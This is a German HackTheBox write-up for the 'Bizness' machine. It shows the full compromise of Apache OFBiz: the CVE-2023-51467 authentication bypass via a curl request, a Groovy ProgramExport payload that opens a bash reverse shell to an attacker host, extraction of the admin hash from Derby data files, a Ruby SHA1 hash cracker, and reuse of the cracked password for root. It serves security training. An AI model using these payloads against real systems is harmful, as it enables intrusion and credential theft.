// HackTheBox

Bizness

CVE-2023-51467 (OFBiz-Auth-Bypass) + Groovy-RCE → geknackter OFBiz-Admin-Hash, wiederverwendet als Passwort von root

HackTheBoxLeichtLinux 20. Juli 2026 5 Min. Lesezeit

Aufklärung

Drei Ports, und der HTTPS-Dienst erledigt die ganze interessante Arbeit:

Port Dienst
22 SSH
80 HTTP (leitet auf https um)
443 HTTPS (nginx vor Apache OFBiz)

Port 80 leitet nur auf HTTPS weiter, und 443 ist ein nginx-Reverse-Proxy vor Apache OFBiz — einer großen, weitläufigen Java-ERP-Suite. OFBiz stellt unter /webtools/control/... ein Administrations-Toolset bereit; die main-Seite lädt ohne jede Authentifizierung, und nur die dahinterliegenden inneren Screens verlangen einen Login. Eine weit verbreitete Java-App mit öffentlicher Admin-Oberfläche ist der offensichtliche Faden, an dem man zieht: OFBiz hat eine bekannte Auth-Bypass-CVE aus 2023, und das versionspassende Verhalten zu bestätigen ist der schnellste Weg hinein.

Erstzugang — CVE-2023-51467 (OFBiz-Auth-Bypass) + Groovy-RCE

1. Authentifizierung umgehen

CVE-2023-51467 ist ein Fehler in der Login-Prüfung: OFBiz behandelt ein leeres Benutzername/Passwort-Paar in Kombination mit dem Flag requirePasswordChange=Y als einen Zustand, in dem die Auth-Prüfung übersprungen statt fehlgeschlagen werden soll. In der Praxis rutscht das Anhängen von ?USERNAME=&PASSWORD=&requirePasswordChange=Y an einen beliebigen /webtools/control/<screen>-Request am Login-Gate vorbei. Es ist nicht an einen einzelnen Endpoint gebunden — es funktioniert auf jedem Screen unter /webtools/control/.

Die schnellste Bestätigung ist der ping-Screen, der nur einem authentifizierten Aufrufer mit PONG antworten sollte:

$ curl -sk 'https://bizness.htb/webtools/control/ping?USERNAME=&PASSWORD=&requirePasswordChange=Y'

Er gibt PONG zurück und beweist, dass der Bypass uns in den authentifizierten Web-Tools-Kontext bringt.

2. Groovy-RCE über ProgramExport

Mit überwundenem Auth-Gate ist der nützliche Screen /webtools/control/ProgramExport, ein Entwickler-Werkzeug, das einen groovyProgram-POST-Parameter akzeptiert und ihn serverseitig als Groovy (eine JVM-Skriptsprache) auswertet. Beliebige Groovy-Auswertung ist faktisch Codeausführung.

Der naive Weg, ein Shell-Kommando aus Groovy zu starten, ist 'cmd'.execute() auf einem einfachen String, aber das tokenisiert den String anhand von Leerzeichen und behandelt Quoting falsch — alles mit Leerzeichen, Umleitungen oder Pipes bricht. Der zuverlässige Ansatz ist die Listenform von execute(), die jedes Listenelement als literales argv-Element ohne erneutes Parsen übergibt, sodass ein vollständiger bash -c-Einzeiler intakt bleibt:

groovyProgram=throw new Exception(["bash","-c","bash -i >& /dev/tcp/<LHOST>/4444 0>&1"].execute().text)

Der throw new Exception(...)-Wrapper ist ein Verifikationstrick: .text fängt den stdout des Kommandos ein, und ihn als Exception zu werfen macht diese Ausgabe direkt auf der gerenderten Fehlerseite sichtbar. Das macht eine einmalige Prüfung trivial — id auf diese Weise ausgeführt gibt das Ergebnis inline zurück — bevor man sich auf einen blinden Reverse-Shell-Payload festlegt. Hier landet eine Shell als der Service-Benutzer ofbiz.

Rechteausweitung — geknackter OFBiz-Admin-Hash, wiederverwendet als Passwort von root

1. Den Admin-Hash aus Derbys Datendateien ziehen

OFBiz speichert seine Daten in einer eingebetteten Apache Derby-Datenbank. Statt die Engine abzufragen, ist zu beachten, dass Derby jede Tabelle in flachen, im Klartext durchsuchbaren .dat-Segmentdateien auf der Platte persistiert — unter /opt/ofbiz/runtime/data/derby/ofbiz/seg0/. Ein grep dieser Dateien nach SHA fördert die UserLogin-Zeile für admin direkt zutage:

$ grep -r 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/
currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"

2. OFBiz’ Hash-Schema nachbilden und knacken

Das $SHA$d$...-Format ist OFBiz-spezifisch, also birgt das Raten des Algorithmus das Risiko eines vergeudeten Crack-Laufs. Stattdessen stammt das exakte Schema aus OFBiz’ eigenem HashCrypt.getCryptedBytes — die relevanten Zeilen (aus dem apache/ofbiz-framework-Quellcode auf GitHub geholt) lauten:

messagedigest.update(salt.getBytes(UTF_8));
messagedigest.update(passwordBytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest());

Das ist base64url(SHA1(salt + password)), und das $SHA$d$-Präfix sagt uns, dass der Salt der Literal-String 'd' ist. Genau das in Ruby nachimplementiert (exploit/crack_admin.rb) und gegen rockyou.txt laufen lassen findet das Passwort in unter einer Sekunde — es steht früh in der Liste:

require 'digest'; require 'base64'

target = 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I'   # $SHA$d$<hash> from the UserLogin row
File.foreach('rockyou.txt', chomp: true) do |pw|
  digest = Base64.urlsafe_encode64(Digest::SHA1.digest('d' + pw), padding: false)
  next unless digest == target
  puts "found: #{pw}"
  break
end

Das wiederhergestellte Passwort ist monkeybizness.

3. Das Passwort für root wiederverwenden

Dieses Passwort erweist sich auch als lokales Linux-Passwort von root — reiner Credential-Reuse, nichts OFBiz-Spezifisches daran. Die Rechteausweitung ist dann nur noch eine Frage der Authentifizierung als root, aber es gibt eine Stolperfalle: su root hängt und scheitert still, weil die Reverse-Shell kein echtes TTY besitzt und su auf einem steuernden Terminal besteht, um das Passwort sicher einzulesen. sudo, das das Passwort von stdin liest, umgeht das — Debians sudo verlangt kein TTY, sofern nicht requiretty gesetzt ist:

$ echo monkeybizness | sudo -S -i

Das liefert eine vollständige root-Shell.

Erkenntnisse

  • Der OFBiz-Auth-Bypass ist ein einzeiliger Query-String-Trick (?USERNAME=&PASSWORD=&requirePasswordChange=Y), angehängt an jede /webtools/control/- URL — nicht spezifisch für einen einzelnen Endpoint.
  • Groovys .execute() auf einem nackten String tokenisiert anhand von Leerzeichen und kann kein Quoting/Shell-Operatoren ausdrücken; verwende die Listenform (["bash","-c","..."].execute()), um einen echten Einzeiler zuverlässig auszuführen.
  • throw new Exception(cmd.execute().text) ist eine praktische Methode ohne Setup, um Kommando- ausgaben direkt in einer Groovy-Eval-Antwort reflektiert zu bekommen, bevor man sich auf eine blinde Reverse-Shell festlegt.
  • OFBiz (und wahrscheinlich andere Java-Apps mit eingebetteter Derby-DB) speichern Tabellendaten in im Klartext durchsuchbaren .dat-Segmentdateien — grep/strings über diese kann Zugangsdaten direkt zutage fördern, ohne die DB-Engine tatsächlich abfragen zu müssen.
  • Dass su ein echtes TTY erfordert, ist eine wiederkehrende Stolperfalle bei Reverse-Shells ohne PTY; sudo -S, das das Passwort von stdin liest, ist der zuverlässige Fallback, sobald ein gültiges Passwort vorliegt.
← Alle Writeups